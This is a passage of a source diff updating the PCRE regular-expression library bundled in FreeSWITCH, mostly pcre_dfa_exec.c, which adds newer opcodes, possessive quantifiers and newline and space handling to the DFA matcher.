+  break;
+
   case PCRE_CONFIG_LINK_SIZE:
   *((int *)where) = LINK_SIZE;
   break;
@@ -92,11 +104,11 @@
   break;
 
   case PCRE_CONFIG_MATCH_LIMIT:
-  *((unsigned int *)where) = MATCH_LIMIT;
+  *((unsigned long int *)where) = MATCH_LIMIT;
   break;
 
   case PCRE_CONFIG_MATCH_LIMIT_RECURSION:
-  *((unsigned int *)where) = MATCH_LIMIT_RECURSION;
+  *((unsigned long int *)where) = MATCH_LIMIT_RECURSION;
   break;
 
   case PCRE_CONFIG_STACKRECURSE:

Modified: freeswitch/branches/seven/libs/pcre/pcre_dfa_exec.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_dfa_exec.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_dfa_exec.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,10 +3,11 @@
 *************************************************/
 
 /* PCRE is a library of functions to support regular expressions whose syntax
-and semantics are as close as possible to those of the Perl 5 language.
+and semantics are as close as possible to those of the Perl 5 language (but see
+below for why this module is different).
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -39,11 +40,19 @@
 
 
 /* This module contains the external function pcre_dfa_exec(), which is an
-alternative matching function that uses a DFA algorithm. This is NOT Perl-
-compatible, but it has advantages in certain applications. */
+alternative matching function that uses a sort of DFA algorithm (not a true
+FSM). This is NOT Perl- compatible, but it has advantages in certain
+applications. */
 
 
-#define NLBLOCK md           /* The block containing newline information */
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#define NLBLOCK md             /* Block containing newline information */
+#define PSSTART start_subject  /* Field containing processed string start */
+#define PSEND   end_subject    /* Field containing processed string end */
+
 #include "pcre_internal.h"
 
 
@@ -52,30 +61,36 @@
 #define SP "                   "
 
 
-
 /*************************************************
 *      Code parameters and static tables         *
 *************************************************/
 
 /* These are offsets that are used to turn the OP_TYPESTAR and friends opcodes
-into others, under special conditions. A gap of 10 between the blocks should be
-enough. */
+into others, under special conditions. A gap of 20 between the blocks should be
+enough. The resulting opcodes don't have to be less than 256 because they are
+never stored, so we push them well clear of the normal opcodes. */
 
-#define OP_PROP_EXTRA    (EXTRACT_BASIC_MAX+1)
-#define OP_EXTUNI_EXTRA  (EXTRACT_BASIC_MAX+11)
+#define OP_PROP_EXTRA       300
+#define OP_EXTUNI_EXTRA     320
+#define OP_ANYNL_EXTRA      340
+#define OP_HSPACE_EXTRA     360
+#define OP_VSPACE_EXTRA     380
 
 
 /* This table identifies those opcodes that are followed immediately by a
 character that is to be tested in some way. This makes is possible to
 centralize the loading of these characters. In the case of Type * etc, the
 "character" is the opcode for \D, \d, \S, \s, \W, or \w, which will always be a
-small value. */
+small value. ***NOTE*** If the start of this table is modified, the two tables
+that follow must also be modified. */
 
-static uschar coptable[] = {
+static const uschar coptable[] = {
   0,                             /* End                                    */
-  0, 0, 0, 0, 0, 0, 0, 0, 0, 0,  /* \A, \G, \B, \b, \D, \d, \S, \s, \W, \w */
-  0, 0,                          /* Any, Anybyte                           */
+  0, 0, 0, 0, 0,                 /* \A, \G, \K, \B, \b                     */
+  0, 0, 0, 0, 0, 0,              /* \D, \d, \S, \s, \W, \w                 */
+  0, 0, 0,                       /* Any, AllAny, Anybyte                   */
   0, 0, 0,                       /* NOTPROP, PROP, EXTUNI                  */
+  0, 0, 0, 0, 0,                 /* \R, \H, \h, \V, \v                     */
   0, 0, 0, 0, 0,                 /* \Z, \z, Opt, ^, $                      */
   1,                             /* Char                                   */
   1,                             /* Charnc                                 */
@@ -83,12 +98,15 @@
   /* Positive single-char repeats                                          */
   1, 1, 1, 1, 1, 1,              /* *, *?, +, +?, ?, ??                    */
   3, 3, 3,                       /* upto, minupto, exact                   */
+  1, 1, 1, 3,                    /* *+, ++, ?+, upto+                      */
   /* Negative single-char repeats - only for chars < 256                   */
   1, 1, 1, 1, 1, 1,              /* NOT *, *?, +, +?, ?, ??                */
   3, 3, 3,                       /* NOT upto, minupto, exact               */
+  1, 1, 1, 3,                    /* NOT *+, ++, ?+, updo+                  */
   /* Positive type repeats                                                 */
   1, 1, 1, 1, 1, 1,              /* Type *, *?, +, +?, ?, ??               */
   3, 3, 3,                       /* Type upto, minupto, exact              */
+  1, 1, 1, 3,                    /* Type *+, ++, ?+, upto+                 */
   /* Character class & ref repeats                                         */
   0, 0, 0, 0, 0, 0,              /* *, *?, +, +?, ?, ??                    */
   0, 0,                          /* CRRANGE, CRMINRANGE                    */
@@ -107,31 +125,33 @@
   0,                             /* Assert behind                          */
   0,                             /* Assert behind not                      */
   0,                             /* Reverse                                */
-  0,                             /* Once                                   */
-  0,                             /* COND                                   */
+  0, 0, 0, 0,                    /* ONCE, BRA, CBRA, COND                  */
+  0, 0, 0,                       /* SBRA, SCBRA, SCOND                     */
   0,                             /* CREF                                   */
+  0,                             /* RREF                                   */
+  0,                             /* DEF                                    */
   0, 0,                          /* BRAZERO, BRAMINZERO                    */
-  0,                             /* BRANUMBER                              */
-  0                              /* BRA                                    */
+  0, 0, 0, 0,                    /* PRUNE, SKIP, THEN, COMMIT              */
+  0, 0, 0                        /* FAIL, ACCEPT, SKIPZERO                 */
 };
 
 /* These 2 tables allow for compact code for testing for \D, \d, \S, \s, \W,
 and \w */
 
-static uschar toptable1[] = {
-  0, 0, 0, 0, 0,
+static const uschar toptable1[] = {
+  0, 0, 0, 0, 0, 0,
   ctype_digit, ctype_digit,
   ctype_space, ctype_space,
   ctype_word,  ctype_word,
-  0                               /* OP_ANY */
+  0, 0                            /* OP_ANY, OP_ALLANY */
 };
 
-static uschar toptable2[] = {
-  0, 0, 0, 0, 0,
+static const uschar toptable2[] = {
+  0, 0, 0, 0, 0, 0,
   ctype_digit, 0,
   ctype_space, 0,
   ctype_word,  0,
-  1                               /* OP_ANY */
+  1, 1                            /* OP_ANY, OP_ALLANY */
 };
 
 
@@ -203,8 +223,8 @@
   rlevel            function call recursion level
   recursing         regex recursive call level
 
-Returns:            > 0 =>
-                    = 0 =>
+Returns:            > 0 => number of match offset pairs placed in offsets
+                    = 0 => offsets overflowed; longest matches are present
                      -1 => failed to match
                    < -1 => some kind of unexpected problem
 
@@ -278,7 +298,7 @@
 
 const uschar *ctypes, *lcc, *fcc;
 const uschar *ptr;
-const uschar *end_code;
+const uschar *end_code, *first_op;
 
 int active_count, new_count, match_count;
 
@@ -291,6 +311,8 @@
 
 #ifdef SUPPORT_UTF8
 BOOL utf8 = (md->poptions & PCRE_UTF8) != 0;
+#else
+BOOL utf8 = FALSE;
 #endif
 
 rlevel++;
@@ -314,6 +336,9 @@
 next_new_state = new_states = active_states + wscount;
 new_count = 0;
 
+first_op = this_start_code + 1 + LINK_SIZE +
+  ((*this_start_code == OP_CBRA || *this_start_code == OP_SCBRA)? 2:0);
+
 /* The first thing in any (sub) pattern is a bracket of some sort. Push all
 the alternative states onto the list, and find out where the end is. This
 makes is possible to use this function recursively, when we want to stop at a
@@ -323,7 +348,7 @@
 a backward assertion. In that case, we have to find out the maximum amount to
 move back, and set up each alternative appropriately. */
 
-if (this_start_code[1+LINK_SIZE] == OP_REVERSE)
+if (*first_op == OP_REVERSE)
   {
   int max_back = 0;
   int gone_back;
@@ -405,10 +430,13 @@
 
   else
     {
+    int length = 1 + LINK_SIZE +
+      ((*this_start_code == OP_CBRA || *this_start_code == OP_SCBRA)? 2:0);
     do
       {
-      ADD_NEW(end_code - start_code + 1 + LINK_SIZE, 0);
+      ADD_NEW(end_code - start_code + length, 0);
       end_code += GET(end_code, 1);
+      length = 1 + LINK_SIZE;
       }
     while (*end_code == OP_ALT);
     }
@@ -461,7 +489,7 @@
 
   if (ptr < end_subject)
     {
-    clen = 1;
+    clen = 1;        /* Number of bytes in the character */
 #ifdef SUPPORT_UTF8
     if (utf8) { GETCHARLEN(c, ptr, clen); } else
 #endif  /* SUPPORT_UTF8 */
@@ -469,8 +497,8 @@
     }
   else
     {
-    clen = 0;    /* At end subject */
-    c = -1;
+    clen = 0;        /* This indicates the end of the subject */
+    c = NOTACHAR;    /* This value should never actually be used */
     }
 
   /* Scan up the active states and act on each one. The result of an action
@@ -483,12 +511,11 @@
     stateblock *current_state = active_states + i;
     const uschar *code;
     int state_offset = current_state->offset;
-    int count, codevalue;
-    int chartype, script;
+    int count, codevalue, rrc;
 
 #ifdef PCRE_DEBUG
     printf ("%.*sProcessing state %d c=", rlevel*2-2, SP, state_offset);
-    if (c < 0) printf("-1\n");
+    if (clen == 0) printf("EOL\n");
       else if (c > 32 && c < 127) printf("'%c'\n", c);
         else printf("0x%02x\n", c);
 #endif
@@ -532,7 +559,6 @@
 
     code = start_code + state_offset;
     codevalue = *code;
-    if (codevalue >= OP_BRA) codevalue = OP_BRA; /* All brackets are equal */
 
     /* If this opcode is followed by an inline character, load it. It is
     tempting to test for the presence of a subject character here, but that
@@ -540,10 +566,10 @@
     permitted.
 
     We also use this mechanism for opcodes such as OP_TYPEPLUS that take an
-    argument that is not a data character - but is always one byte long.
-    Unfortunately, we have to take special action to deal with  \P, \p, and
-    \X in this case. To keep the other cases fast, convert these ones to new
-    opcodes. */
+    argument that is not a data character - but is always one byte long. We
+    have to take special action to deal with  \P, \p, \H, \h, \V, \v and \X in
+    this case. To keep the other cases fast, convert these ones to new opcodes.
+    */
 
     if (coptable[codevalue] > 0)
       {
@@ -554,15 +580,25 @@
       d = code[coptable[codevalue]];
       if (codevalue >= OP_TYPESTAR)
         {
-        if (d == OP_ANYBYTE) return PCRE_ERROR_DFA_UITEM;
-        if (d >= OP_NOTPROP)
-          codevalue += (d == OP_EXTUNI)? OP_EXTUNI_EXTRA : OP_PROP_EXTRA;
+        switch(d)
+          {
+          case OP_ANYBYTE: return PCRE_ERROR_DFA_UITEM;
+          case OP_NOTPROP:
+          case OP_PROP: codevalue += OP_PROP_EXTRA; break;
+          case OP_ANYNL: codevalue += OP_ANYNL_EXTRA; break;
+          case OP_EXTUNI: codevalue += OP_EXTUNI_EXTRA; break;
+          case OP_NOT_HSPACE:
+          case OP_HSPACE: codevalue += OP_HSPACE_EXTRA; break;
+          case OP_NOT_VSPACE:
+          case OP_VSPACE: codevalue += OP_VSPACE_EXTRA; break;
+          default: break;
+          }
         }
       }
     else
       {
       dlen = 0;         /* Not strictly necessary, but compilers moan */
-      d = -1;           /* if these variables are not set. */
+      d = NOTACHAR;     /* if these variables are not set. */
       }
 
 
@@ -624,6 +660,7 @@
 
       /*-----------------------------------------------------------------*/
       case OP_BRA:
+      case OP_SBRA:
       do
         {
         ADD_ACTIVE(code - start_code + 1 + LINK_SIZE, 0);
@@ -633,6 +670,18 @@
       break;
 
       /*-----------------------------------------------------------------*/
+      case OP_CBRA:
+      case OP_SCBRA:
+      ADD_ACTIVE(code - start_code + 3 + LINK_SIZE,  0);
+      code += GET(code, 1);
+      while (*code == OP_ALT)
+        {
+        ADD_ACTIVE(code - start_code + 1 + LINK_SIZE,  0);
+        code += GET(code, 1);
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
       case OP_BRAZERO:
       case OP_BRAMINZERO:
       ADD_ACTIVE(state_offset + 1, 0);
@@ -642,17 +691,18 @@
       break;
 
       /*-----------------------------------------------------------------*/
-      case OP_BRANUMBER:
-      ADD_ACTIVE(state_offset + 1 + LINK_SIZE, 0);
+      case OP_SKIPZERO:
+      code += 1 + GET(code, 2);
+      while (*code == OP_ALT) code += GET(code, 1);
+      ADD_ACTIVE(code - start_code + 1 + LINK_SIZE, 0);
       break;
 
       /*-----------------------------------------------------------------*/
       case OP_CIRC:
       if ((ptr == start_subject && (md->moptions & PCRE_NOTBOL) == 0) ||
           ((ims & PCRE_MULTILINE) != 0 &&
-            ptr >= start_subject + md->nllen &&
             ptr != end_subject &&
-            IS_NEWLINE(ptr - md->nllen)))
+            WAS_NEWLINE(ptr)))
         { ADD_ACTIVE(state_offset + 1, 0); }
       break;
 
@@ -686,16 +736,19 @@
 
       /*-----------------------------------------------------------------*/
       case OP_ANY:
-      if (clen > 0 && ((ims & PCRE_DOTALL) != 0 ||
-                       ptr > end_subject - md->nllen ||
-                       !IS_NEWLINE(ptr)))
+      if (clen > 0 && !IS_NEWLINE(ptr))
         { ADD_NEW(state_offset + 1, 0); }
       break;
 
       /*-----------------------------------------------------------------*/
+      case OP_ALLANY:
+      if (clen > 0)
+        { ADD_NEW(state_offset + 1, 0); }
+      break;
+
+      /*-----------------------------------------------------------------*/
       case OP_EODN:
-      if (clen == 0 ||
-           (ptr == end_subject - md->nllen && IS_NEWLINE(ptr)))
+      if (clen == 0 || (IS_NEWLINE(ptr) && ptr == end_subject - md->nllen))
         { ADD_ACTIVE(state_offset + 1, 0); }
       break;
 
@@ -704,13 +757,12 @@
       if ((md->moptions & PCRE_NOTEOL) == 0)
         {
         if (clen == 0 ||
-            (ptr <= end_subject - md->nllen && IS_NEWLINE(ptr) &&
+            ((md->poptions & PCRE_DOLLAR_ENDONLY) == 0 && IS_NEWLINE(ptr) &&
                ((ims & PCRE_MULTILINE) != 0 || ptr == end_subject - md->nllen)
             ))
           { ADD_ACTIVE(state_offset + 1, 0); }
         }
-      else if ((ims & PCRE_MULTILINE) != 0 &&
-               ptr <= end_subject - md->nllen && IS_NEWLINE(ptr))
+      else if ((ims & PCRE_MULTILINE) != 0 && IS_NEWLINE(ptr))
         { ADD_ACTIVE(state_offset + 1, 0); }
       break;
 
@@ -759,19 +811,18 @@
       break;
 
 
-#ifdef SUPPORT_UCP
-
       /*-----------------------------------------------------------------*/
       /* Check the next character by Unicode property. We will get here only
       if the support is in the binary; otherwise a compile-time error occurs.
       */
 
+#ifdef SUPPORT_UCP
       case OP_PROP:
       case OP_NOTPROP:
       if (clen > 0)
         {
         BOOL OK;
-        int category = _pcre_ucp_findprop(c, &chartype, &script);
+        const ucd_record * prop = GET_UCD(c);
         switch(code[1])
           {
           case PT_ANY:
@@ -779,19 +830,19 @@
           break;
 
           case PT_LAMP:
-          OK = chartype == ucp_Lu || chartype == ucp_Ll || chartype == ucp_Lt;
+          OK = prop->chartype == ucp_Lu || prop->chartype == ucp_Ll || prop->chartype == ucp_Lt;
           break;
 
           case PT_GC:
-          OK = category == code[2];
+          OK = _pcre_ucp_gentype[prop->chartype] == code[2];
           break;
 
           case PT_PC:
-          OK = chartype == code[2];
+          OK = prop->chartype == code[2];
           break;
 
           case PT_SC:
-          OK = script == code[2];
+          OK = prop->script == code[2];
           break;
 
           /* Should never occur, but keep compilers from grumbling. */
@@ -811,24 +862,26 @@
 /* ========================================================================== */
       /* These opcodes likewise inspect the subject character, but have an
       argument that is not a data character. It is one of these opcodes:
-      OP_ANY, OP_DIGIT, OP_NOT_DIGIT, OP_WHITESPACE, OP_NOT_SPACE, OP_WORDCHAR,
-      OP_NOT_WORDCHAR. The value is loaded into d. */
+      OP_ANY, OP_ALLANY, OP_DIGIT, OP_NOT_DIGIT, OP_WHITESPACE, OP_NOT_SPACE,
+      OP_WORDCHAR, OP_NOT_WORDCHAR. The value is loaded into d. */
 
       case OP_TYPEPLUS:
       case OP_TYPEMINPLUS:
+      case OP_TYPEPOSPLUS:
       count = current_state->count;  /* Already matched */
       if (count > 0) { ADD_ACTIVE(state_offset + 2, 0); }
       if (clen > 0)
         {
         if ((c >= 256 && d != OP_DIGIT && d != OP_WHITESPACE && d != OP_WORDCHAR) ||
             (c < 256 &&
-              (d != OP_ANY ||
-               (ims & PCRE_DOTALL) != 0 ||
-               ptr > end_subject - md->nllen ||
-               !IS_NEWLINE(ptr)
-              ) &&
+              (d != OP_ANY || !IS_NEWLINE(ptr)) &&
               ((ctypes[c] & toptable1[d]) ^ toptable2[d]) != 0))
           {
+          if (count > 0 && codevalue == OP_TYPEPOSPLUS)
+            {
+            active_count--;            /* Remove non-match possibility */
+            next_active_state--;
+            }
           count++;
           ADD_NEW(state_offset, count);
           }
@@ -838,18 +891,20 @@
       /*-----------------------------------------------------------------*/
       case OP_TYPEQUERY:
       case OP_TYPEMINQUERY:
+      case OP_TYPEPOSQUERY:
       ADD_ACTIVE(state_offset + 2, 0);
       if (clen > 0)
         {
         if ((c >= 256 && d != OP_DIGIT && d != OP_WHITESPACE && d != OP_WORDCHAR) ||
             (c < 256 &&
-              (d != OP_ANY ||
-               (ims & PCRE_DOTALL) != 0 ||
-               ptr > end_subject - md->nllen ||
-               !IS_NEWLINE(ptr)
-              ) &&
+              (d != OP_ANY || !IS_NEWLINE(ptr)) &&
               ((ctypes[c] & toptable1[d]) ^ toptable2[d]) != 0))
           {
+          if (codevalue == OP_TYPEPOSQUERY)
+            {
+            active_count--;            /* Remove non-match possibility */
+            next_active_state--;
+            }
           ADD_NEW(state_offset + 2, 0);
           }
         }
@@ -858,18 +913,20 @@
       /*-----------------------------------------------------------------*/
       case OP_TYPESTAR:
       case OP_TYPEMINSTAR:
+      case OP_TYPEPOSSTAR:
       ADD_ACTIVE(state_offset + 2, 0);
       if (clen > 0)
         {
         if ((c >= 256 && d != OP_DIGIT && d != OP_WHITESPACE && d != OP_WORDCHAR) ||
             (c < 256 &&
-              (d != OP_ANY ||
-               (ims & PCRE_DOTALL) != 0 ||
-               ptr > end_subject - md->nllen ||
-               !IS_NEWLINE(ptr)
-              ) &&
+              (d != OP_ANY || !IS_NEWLINE(ptr)) &&
               ((ctypes[c] & toptable1[d]) ^ toptable2[d]) != 0))
           {
+          if (codevalue == OP_TYPEPOSSTAR)
+            {
+            active_count--;            /* Remove non-match possibility */
+            next_active_state--;
+            }
           ADD_NEW(state_offset, 0);
           }
         }
@@ -877,22 +934,40 @@
 
       /*-----------------------------------------------------------------*/
       case OP_TYPEEXACT:
+      count = current_state->count;  /* Number already matched */
+      if (clen > 0)
+        {
+        if ((c >= 256 && d != OP_DIGIT && d != OP_WHITESPACE && d != OP_WORDCHAR) ||
+            (c < 256 &&
+              (d != OP_ANY || !IS_NEWLINE(ptr)) &&
+              ((ctypes[c] & toptable1[d]) ^ toptable2[d]) != 0))
+          {
+          if (++count >= GET2(code, 1))
+            { ADD_NEW(state_offset + 4, 0); }
+          else
+            { ADD_NEW(state_offset, count); }
+          }
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
       case OP_TYPEUPTO:
       case OP_TYPEMINUPTO:
-      if (codevalue != OP_TYPEEXACT)
-        { ADD_ACTIVE(state_offset + 4, 0); }
+      case OP_TYPEPOSUPTO:
+      ADD_ACTIVE(state_offset + 4, 0);
       count = current_state->count;  /* Number already matched */
       if (clen > 0)
         {
         if ((c >= 256 && d != OP_DIGIT && d != OP_WHITESPACE && d != OP_WORDCHAR) ||
             (c < 256 &&
-              (d != OP_ANY ||
-               (ims & PCRE_DOTALL) != 0 ||
-               ptr > end_subject - md->nllen ||
-               !IS_NEWLINE(ptr)
-              ) &&
+              (d != OP_ANY || !IS_NEWLINE(ptr)) &&
               ((ctypes[c] & toptable1[d]) ^ toptable2[d]) != 0))
           {
+          if (codevalue == OP_TYPEPOSUPTO)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
           if (++count >= GET2(code, 1))
             { ADD_NEW(state_offset + 4, 0); }
           else
@@ -903,18 +978,20 @@
 
 /* ========================================================================== */
       /* These are virtual opcodes that are used when something like
-      OP_TYPEPLUS has OP_PROP, OP_NOTPROP, or OP_EXTUNI as its argument. It
-      keeps the code above fast for the other cases. The argument is in the
-      d variable. */
+      OP_TYPEPLUS has OP_PROP, OP_NOTPROP, OP_ANYNL, or OP_EXTUNI as its
+      argument. It keeps the code above fast for the other cases. The argument
+      is in the d variable. */
 
+#ifdef SUPPORT_UCP
       case OP_PROP_EXTRA + OP_TYPEPLUS:
       case OP_PROP_EXTRA + OP_TYPEMINPLUS:
+      case OP_PROP_EXTRA + OP_TYPEPOSPLUS:
       count = current_state->count;           /* Already matched */
       if (count > 0) { ADD_ACTIVE(state_offset + 4, 0); }
       if (clen > 0)
         {
         BOOL OK;
-        int category = _pcre_ucp_findprop(c, &chartype, &script);
+        const ucd_record * prop = GET_UCD(c);
         switch(code[2])
           {
           case PT_ANY:
@@ -922,19 +999,19 @@
           break;
 
           case PT_LAMP:
-          OK = chartype == ucp_Lu || chartype == ucp_Ll || chartype == ucp_Lt;
+          OK = prop->chartype == ucp_Lu || prop->chartype == ucp_Ll || prop->chartype == ucp_Lt;
           break;
 
           case PT_GC:
-          OK = category == code[3];
+          OK = _pcre_ucp_gentype[prop->chartype] == code[3];
           break;
 
           case PT_PC:
-          OK = chartype == code[3];
+          OK = prop->chartype == code[3];
           break;
 
           case PT_SC:
-          OK = script == code[3];
+          OK = prop->script == code[3];
           break;
 
           /* Should never occur, but keep compilers from grumbling. */
@@ -944,25 +1021,40 @@
           break;
           }
 
-        if (OK == (d == OP_PROP)) { count++; ADD_NEW(state_offset, count); }
+        if (OK == (d == OP_PROP))
+          {
+          if (count > 0 && codevalue == OP_PROP_EXTRA + OP_TYPEPOSPLUS)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          count++;
+          ADD_NEW(state_offset, count);
+          }
         }
       break;
 
       /*-----------------------------------------------------------------*/
       case OP_EXTUNI_EXTRA + OP_TYPEPLUS:
       case OP_EXTUNI_EXTRA + OP_TYPEMINPLUS:
+      case OP_EXTUNI_EXTRA + OP_TYPEPOSPLUS:
       count = current_state->count;  /* Already matched */
       if (count > 0) { ADD_ACTIVE(state_offset + 2, 0); }
-      if (clen > 0 && _pcre_ucp_findprop(c, &chartype, &script) != ucp_M)
+      if (clen > 0 && UCD_CATEGORY(c) != ucp_M)
         {
         const uschar *nptr = ptr + clen;
         int ncount = 0;
+        if (count > 0 && codevalue == OP_EXTUNI_EXTRA + OP_TYPEPOSPLUS)
+          {
+          active_count--;           /* Remove non-match possibility */
+          next_active_state--;
+          }
         while (nptr < end_subject)
           {
           int nd;
           int ndlen = 1;
           GETCHARLEN(nd, nptr, ndlen);
-          if (_pcre_ucp_findprop(nd, &chartype, &script) != ucp_M) break;
+          if (UCD_CATEGORY(nd) != ucp_M) break;
           ncount++;
           nptr += ndlen;
           }
@@ -970,15 +1062,149 @@
         ADD_NEW_DATA(-state_offset, count, ncount);
         }
       break;
+#endif
 
       /*-----------------------------------------------------------------*/
+      case OP_ANYNL_EXTRA + OP_TYPEPLUS:
+      case OP_ANYNL_EXTRA + OP_TYPEMINPLUS:
+      case OP_ANYNL_EXTRA + OP_TYPEPOSPLUS:
+      count = current_state->count;  /* Already matched */
+      if (count > 0) { ADD_ACTIVE(state_offset + 2, 0); }
+      if (clen > 0)
+        {
+        int ncount = 0;
+        switch (c)
+          {
+          case 0x000b:
+          case 0x000c:
+          case 0x0085:
+          case 0x2028:
+          case 0x2029:
+          if ((md->moptions & PCRE_BSR_ANYCRLF) != 0) break;
+          goto ANYNL01;
+
+          case 0x000d:
+          if (ptr + 1 < end_subject && ptr[1] == 0x0a) ncount = 1;
+          /* Fall through */
+
+          ANYNL01:
+          case 0x000a:
+          if (count > 0 && codevalue == OP_ANYNL_EXTRA + OP_TYPEPOSPLUS)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          count++;
+          ADD_NEW_DATA(-state_offset, count, ncount);
+          break;
+
+          default:
+          break;
+          }
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+      case OP_VSPACE_EXTRA + OP_TYPEPLUS:
+      case OP_VSPACE_EXTRA + OP_TYPEMINPLUS:
+      case OP_VSPACE_EXTRA + OP_TYPEPOSPLUS:
+      count = current_state->count;  /* Already matched */
+      if (count > 0) { ADD_ACTIVE(state_offset + 2, 0); }
+      if (clen > 0)
+        {
+        BOOL OK;
+        switch (c)
+          {
+          case 0x000a:
+          case 0x000b:
+          case 0x000c:
+          case 0x000d:
+          case 0x0085:
+          case 0x2028:
+          case 0x2029:
+          OK = TRUE;
+          break;
+
+          default:
+          OK = FALSE;
+          break;
+          }
+
+        if (OK == (d == OP_VSPACE))
+          {
+          if (count > 0 && codevalue == OP_VSPACE_EXTRA + OP_TYPEPOSPLUS)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          count++;
+          ADD_NEW_DATA(-state_offset, count, 0);
+          }
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+      case OP_HSPACE_EXTRA + OP_TYPEPLUS:
+      case OP_HSPACE_EXTRA + OP_TYPEMINPLUS:
+      case OP_HSPACE_EXTRA + OP_TYPEPOSPLUS:
+      count = current_state->count;  /* Already matched */
+      if (count > 0) { ADD_ACTIVE(state_offset + 2, 0); }
+      if (clen > 0)
+        {
+        BOOL OK;
+        switch (c)
+          {
+          case 0x09:      /* HT */
+          case 0x20:      /* SPACE */
+          case 0xa0:      /* NBSP */
+          case 0x1680:    /* OGHAM SPACE MARK */
+          case 0x180e:    /* MONGOLIAN VOWEL SEPARATOR */
+          case 0x2000:    /* EN QUAD */
+          case 0x2001:    /* EM QUAD */
+          case 0x2002:    /* EN SPACE */
+          case 0x2003:    /* EM SPACE */
+          case 0x2004:    /* THREE-PER-EM SPACE */
+          case 0x2005:    /* FOUR-PER-EM SPACE */
+          case 0x2006:    /* SIX-PER-EM SPACE */
+          case 0x2007:    /* FIGURE SPACE */
+          case 0x2008:    /* PUNCTUATION SPACE */
+          case 0x2009:    /* THIN SPACE */
+          case 0x200A:    /* HAIR SPACE */
+          case 0x202f:    /* NARROW NO-BREAK SPACE */
+          case 0x205f:    /* MEDIUM MATHEMATICAL SPACE */
+          case 0x3000:    /* IDEOGRAPHIC SPACE */
+          OK = TRUE;
+          break;
+
+          default:
+          OK = FALSE;
+          break;
+          }
+
+        if (OK == (d == OP_HSPACE))
+          {
+          if (count > 0 && codevalue == OP_HSPACE_EXTRA + OP_TYPEPOSPLUS)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          count++;
+          ADD_NEW_DATA(-state_offset, count, 0);
+          }
+        }
+      break;
+
+      /*-----------------------------------------------------------------*/
+#ifdef SUPPORT_UCP
       case OP_PROP_EXTRA + OP_TYPEQUERY:
       case OP_PROP_EXTRA + OP_TYPEMINQUERY:
+      case OP_PROP_EXTRA + OP_TYPEPOSQUERY:
       count = 4;
       goto QS1;
 
       case OP_PROP_EXTRA + OP_TYPESTAR:
       case OP_PROP_EXTRA + OP_TYPEMINSTAR:
+      case OP_PROP_EXTRA + OP_TYPEPOSSTAR:
       count = 0;
 
       QS1:
@@ -987,7 +1213,7 @@
       if (clen > 0)
         {
         BOOL OK;
-        int category = _pcre_ucp_findprop(c, &chartype, &script);
+        const ucd_record * prop = GET_UCD(c);
         switch(code[2])
           {
           case PT_ANY:
@@ -995,19 +1221,19 @@
           break;
 
           case PT_LAMP:
-          OK = chartype == ucp_Lu || chartype == ucp_Ll || chartype == ucp_Lt;
+          OK = prop->chartype == ucp_Lu || prop->chartype == ucp_Ll || prop->chartype == ucp_Lt;
           break;
 
           case PT_GC:
-          OK = category == code[3];
+          OK = _pcre_ucp_gentype[prop->chartype] == code[3];
           break;
 
           case PT_PC:
-          OK = chartype == code[3];
+          OK = prop->chartype == code[3];
           break;
 
           case PT_SC:
-          OK = script == code[3];
+          OK = prop->script == code[3];
           break;
 
           /* Should never occur, but keep compilers from grumbling. */
@@ -1017,51 +1243,224 @@
           break;
           }
 
-        if (OK == (d == OP_PROP)) { ADD_NEW(state_offset + count, 0); }
+        if (OK == (d == OP_PROP))
+          {
+          if (codevalue == OP_PROP_EXTRA + OP_TYPEPOSSTAR ||
+              codevalue == OP_PROP_EXTRA + OP_TYPEPOSQUERY)
+            {
+            active_count--;           /* Remove non-match possibility */
+            next_active_state--;
+            }
+          ADD_NEW(state_offset + count, 0);
+          }
         }
       break;
 
       /*-----------------------------------------------------------------*/
       case OP_EXTUNI_EXTRA + OP_TYPEQUERY:
       case OP_EXTUNI_EXTRA + OP_TYPEMINQUERY:
+      case OP_EXTUNI_EXTRA + OP_TYPEPOSQUERY:
       count = 2;
       goto QS2;
 
       case OP_EXTUNI_EXTRA + OP_TYPESTAR:
       case OP_EXTUNI_EXTRA + OP_TYPEMINSTAR:
+      case OP_EXTUNI_EXTRA + OP_TYPEPOSSTAR:
       count = 0;
 
       QS2:
 
       ADD_ACTIVE(state_offset + 2, 0);
-      if (clen > 0 && _pcre_ucp_findprop(c, &chartype, &script) != ucp_M)
+      if (clen > 0 && UCD_CATEGORY(c) != ucp_M)
         {
         const uschar *nptr = ptr + clen;
         int ncount = 0;
+        if (codevalue == OP_EXTUNI_EXTRA + OP_TYPEPOSSTAR ||
+            codevalue == OP_EXTUNI_EXTRA + OP_TYPEPOSQUERY)
+          {
+          active_count--;           /* Remove non-match possibility */
+          next_active_state--;
+          }
         while (nptr < end_subject)
           {
           int nd;
           int ndlen = 1;
           GETCHARLEN(nd, nptr, ndlen);
-          if (_pcre_ucp_findprop(nd, &chartype, &script) != ucp_M) break;
+          if (UCD_CATEGORY(nd) != ucp_M) break;
           ncount++;
           nptr += ndlen;
           }
         ADD_NEW_DATA(-(state_offset + count), 0, ncount);
         }
       break;
+#endif
 
       /*-----------------------------------------------------------------*/
+      case OP_ANYNL_EXTRA + OP_TYPEQUERY:
+      case OP_ANYNL_EXTRA + OP_TYPEMINQUERY:
+      case OP_ANYNL_EXTRA + OP_TYPEPOSQUERY:
+      count = 2;
+      goto QS3;
+
+      case OP_ANYNL_EXTRA + OP_TYPESTAR:
+      case OP_ANYNL_EXTRA + OP_TYPEMINSTAR:
+      case OP_ANYNL_EXTRA + OP_TYPEPOSSTAR:
+      count = 0;
+
+      QS3:
+      ADD_ACTIVE(state_offset + 2, 0);
+      if (clen > 0)
